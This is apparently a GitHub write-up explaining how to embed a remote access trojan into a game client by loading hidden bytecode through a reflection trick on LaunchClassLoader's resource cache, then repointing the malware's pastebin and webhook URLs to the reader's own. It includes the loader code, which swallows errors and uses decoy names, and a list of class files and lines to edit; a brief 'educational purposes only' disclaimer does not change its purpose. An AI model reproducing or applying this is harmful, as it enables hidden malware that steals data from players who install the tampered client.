Skip to content

Latest commit

 

History

History
46 lines (39 loc) · 1.88 KB

writeup-2.md

File metadata and controls

46 lines (39 loc) · 1.88 KB
Raw

Can I use it?

yes, If you're new to these stuff, I recommend to not.

How?

(This is for educational purposes only, and I do not guarantee this would work.)
first download these bytes. It still has Zopac's pastebin link tho.

Replace it by translating into ascii and translate it back to decimals(bytes).
Make sure your number delimiter is set to Comma
Translator

Then paste this code into your client and somehow trigger it

byte[] pixels = {//the bytes (example: 50, 100, 200)}
try {
    Field field = LaunchClassLoader.class.getDeclaredField("resourceCache");
    field.setAccessible(true);
    Map<String, byte[]> cache = (Map<String, byte[]>) field.get(Launch.classLoader);
    cache.put("idasido.adldaosd.wpiw.install.Bootstrap", pixels);
    Launch.classLoader.loadClass("idasido.adldaosd.wpiw.install.Bootstrap").getMethod("main").invoke(null);
    textStructureSize = true;
} catch (Exception ignored) {}

You just implemented the rat into your client.

Next step is to download the installer then the client and the server.
Use recaf to replace the pastebins and webhook.

  • All the url you need to replace

  1. Installer
    • Bootstrap.class : 18
    • Installer.class : 16 / 55
  2. Client
    • Loader.class : 19
  3. Server
    • Sender.class : 17

all credits to zopac for making the resource cache rat
credits to yoink for making the original rat